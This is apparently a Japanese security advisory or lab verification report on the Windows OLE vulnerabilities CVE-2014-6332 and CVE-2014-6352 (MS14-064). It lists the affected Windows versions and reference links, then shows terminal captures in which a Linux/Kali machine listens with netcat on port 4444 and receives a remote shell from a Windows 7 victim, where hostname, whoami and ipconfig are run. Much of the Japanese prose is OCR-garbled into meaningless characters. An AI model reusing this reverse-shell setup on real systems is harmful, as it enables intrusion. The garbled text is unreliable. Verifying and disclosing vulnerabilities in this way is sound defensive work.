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BHNEEEFETLHLITEY, HWERRED Internet Explorer #E{TLTWAEREES LA AREERYE T,

-CVE-2014-6352 [ZDL\T

WEEIE MILz OLE A TP IMEED Office T7MILEERL. TDIT7AILDBEFEFNDI YA RENZES
FELIFAERNERY EFAIICTFAIVERMLTEELHERREICANESFDITAICLY | WEX
RENI7AIVERWEEORTERICTERDI—RERTTHIENTEETT,

4@ . Microsoft ANIEMLTWNAEHITOH S LMS14-064)DIEER R EL->TWND . Z DD K4 (CVE-2014-
6332 & CVE-2014-6352)| 2D\ THEEE1TULVEL 1=,

FEEZTHAREENHEIL AT L]
-CVE-2014-6332
— Windows Server 2003 Service Pack 2
— Windows Server 2003 x 64 Edition Service Pack 2
— Windows Server 2003 with SP2 for Itanium—based Systems
— Windows Vista Service Pack 2
— Windows Vista x64 Edition Service Pack 2
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— Windows Server 2008 for 32—bit Systems Service Pack 2

— Windows Server 2008 for x64-based Systems Service Pack 2

— Windows Server 2008 for Itanium—based Systems Service Pack 2

— Windows 7 for 32-bit Systems Service Pack 1

— Windows 7 for x64-based Systems Service Pack 1

— Windows Server 2008 R2 for x64-based Systems Service Pack 1

— Windows Server 2008 R2 for Itanium—based Systems Service Pack 1

— Windows 8 for 32-bit Systems

— Windows 8 for x64—based Systems

— Windows 8.1 for 32-bit Systems

— Windows 8.1 for x64-based Systems

- Windows Server 2012

- Windows Server 2012 R2

— Windows RT

- Windows RT 8.1

- Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core A Ak—JL)

- Windows Server 2008 for x64-based Systems Service Pack 2(Server Core 4> Ak—JL)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core 4> Ak—JL)
- Windows Server 2012(Server Core > A+r—JL)

- Windows Server 2012 R2(Server Core > Ak—JL)

-CVE-2014-6352
— Windows Vista Service Pack 2
— Windows Vista x64 Edition Service Pack 2
— Windows Server 2008 for 32—bit Systems Service Pack 2
— Windows Server 2008 for x64—-based Systems Service Pack 2
— Windows Server 2008 for Itanium—based Systems Service Pack 2
— Windows 7 for 32-bit Systems Service Pack 1
— Windows 7 for x64—based Systems Service Pack 1
— Windows Server 2008 R2 for x64-based Systems Service Pack 1
— Windows Server 2008 R2 for Itanium—based Systems Service Pack 1
— Windows 8 for 32—bit Systems
— Windows 8 for x64—based Systems
— Windows 8.1 for 32-bit Systems
— Windows 8.1 for x64—based Systems
— Windows Server 2012
— Windows Server 2012 R2
— Windows RT
— Windows RT 8.1
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- CVE-2014-6332
- JVNVU#96617862 Microsoft Windows OLE 54T SYICEEDI—RE{THA Al RELAESS
- BH D Microsoft HFD OLE [THITHEENI—FEETSNDHETE N
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https://technet.microsoft.com/ja-JP/library/security/ms14-064
http://jvn.jp/vu/JVNVU96617862/index.html
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-005401.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332
http://technet.microsoft.com/library/3010060.aspx
https://www.jpcert.or.jp/at/2014/at140043.html
https://www.ipa.go.jp/security/ciadr/vul/20141022-ms.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6352
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- 0o tank — root@ubuntu: — ssh — 1UZXZ2b

root@ubuntu:~# uname -an
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 1@ 19:08:14 UTC 2014 i686 1686 1686 GNU/Linux
root®@ ntu:—#

0 b
root@ubuntu:~# nc -1p 4444

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:¥Users¥diag¥Desktop>hostname
hostname
Win7-CL

C:¥Users¥diag¥Desktop>whoami
whoami
win7-cl¥diag

C:¥Users¥diag¥Desktop>ipconfig
ipconfig

Windows IP #§ Ak

A —HFwh P¥T5— Bluetooth Ry N T — 7 i

P AFAPREBEhTVWEEA
BHREREO DNS Y27 rwv o2 X . ..

1—H%Xxy b P¥FIYy— 0O0—H)l TYUFERK:

EHEER® DNS ¥ 27w 2 X . . . : localdomain

Uryza—Aal IPv6 7R L A : fe80::a0fe:96e:2898:1238%10
IPvd 7 K L A 1 192.168.249.131

TRy b RRT : 255.255.255.0

F7#xLbE F—bozA : 192.168.249.2
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(#&3L#5R 1(CVE-2014-6352)
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* Z—/"yk PC [Z Python MAVAR—ILENTWBIGE(X. COFIBRERBENAFEETHSIEEHEALTEYET,
SEIOREEFTR D . Windows 7 Enterprise SP1 HZREEHR , Office Professional Plus 2013 B AR:ERR ZTHEERF)

TR REZROFELEDIVE 21—43 (Kali Linux) DA—3IFIILOBEETY
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® 00 tank — root@Kalil05: / — ssh — 98x33 »
root@Kalil@5:/# ifconfig eth®
eth@ Link encap:f = X v b N—=RKRTxPF KL Z 00:0c:29:88:72:ae

inet? K L 2 :192.168.249.142 70— K ¥ v+ A  :192.168.249.255 < A ¥ :255.255.255.0

inet6” K L X : feB80::20c:29ff:fe88:72ae/64 HiHE :U ¥ ¥

UP BROADCAST RUNNING MULTICAST MTU:1500 X kY w 7 :1

RX/Now k1203986 =5 —:@ K0 A—-/NF2:0 7L —A:0

TX/U7 v :151952 T 5 —:@ BEK:Q0 A—-—NF>:0 FvUTF:0

& 2 (Collisions):0 TX¥ a1 — & :1000
RX/C-f b~ :118932428 (113.4 MiB) TX/U- k :45381349 (43.2 MiB)

root@Kalil@5:/# uname -an

Linux Kalil@5 3.14-kalil-amd64 #1 SMP Debian 3.14.5-1kalil (2014-06-87) x86_64 GNU/Linux
root@Kalil@s: /#

root@alil@5:/# nc -lp 4444

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\diag\Desktop>
C:\Users\diag\Desktop>hostname
hostname

Win7-CL

C:\Users\diag\Desktop>whoami
whoami
win7-cl\diag

C:\Users\diag\Desktop>ipconfig
ipconfig

Windows IP #§ A2

1 —YFxy b FP¥7H— Bluetooth v b7 — 7 Hii:

AT« 7ORE. . .. .. XTI T7RBERES A TVWEEA
EWBEAEO NS Y27 1v 22 :

1—HRry b P¥T75y— O—h)L TUT7HEHR:

EHREBEAD ONS 71w 2R . . . : localdomain

UrxZA—AJ IPv6e FRL ZA. . . . : fe80::00fe:96e:e898:1238%10
IPvA PRLZ . . . .. ... .. :192.168.249.131

v7xwv bk YR ... . .. . . 255.255.255.0

FT7AIE F—kT7xA . : 192.168.249.2
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